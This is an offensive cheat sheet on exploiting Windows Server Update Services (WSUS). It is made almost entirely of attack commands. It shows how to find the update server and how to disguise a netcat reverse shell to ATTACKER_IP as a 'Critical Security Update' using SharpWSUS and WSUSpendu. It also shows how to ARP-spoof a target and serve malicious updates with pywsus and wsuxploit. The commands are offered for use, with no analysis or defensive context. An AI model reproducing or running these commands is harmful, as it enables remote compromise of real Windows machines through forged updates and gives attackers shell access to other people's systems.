WSUS Exploitation

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer

(Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name WUServer).WUServer

https://github.com/nettitude/SharpWSUS

SharpWSUS.exe create /payload:"C:\Windows\Temp\nc.exe" /args:"-e cmd.exe ATTACKER_IP 4444" /title:"Critical Security Update"

SharpWSUS.exe approve /updateid:<UPDATE_GUID> /computername:TARGET.domain.local /groupname:"Critical Updates"

SharpWSUS.exe check /updateid:<UPDATE_GUID> /computername:TARGET.domain.local

SharpWSUS.exe delete /updateid:<UPDATE_GUID> /computername:TARGET.domain.local

https://github.com/AlsidOfficial/WSUSpendu

.\WSUSpendu.ps1 -Inject -PayloadFile nc.exe -PayloadArgs '-e cmd.exe ATTACKER_IP 4444' -ComputerName TARGET

https://github.com/GoSecure/pywsus

# ARP spoof
arpspoof -i eth0 -t TARGET WSUS_SERVER
arpspoof -i eth0 -t WSUS_SERVER TARGET

# Run PyWSUS
python3 pywsus.py --host ATTACKER_IP --port 8530 -c '/c nc.exe -e cmd.exe ATTACKER_IP 4444' --executable payload.exe

https://github.com/pimps/wsuxploit

# wsuxploit is a bash script with positional args: <target> <wsus_ip> <wsus_port> <binary>
./wsuxploit.sh TARGET_IP WSUS_IP 8530 /tmp/payload.exe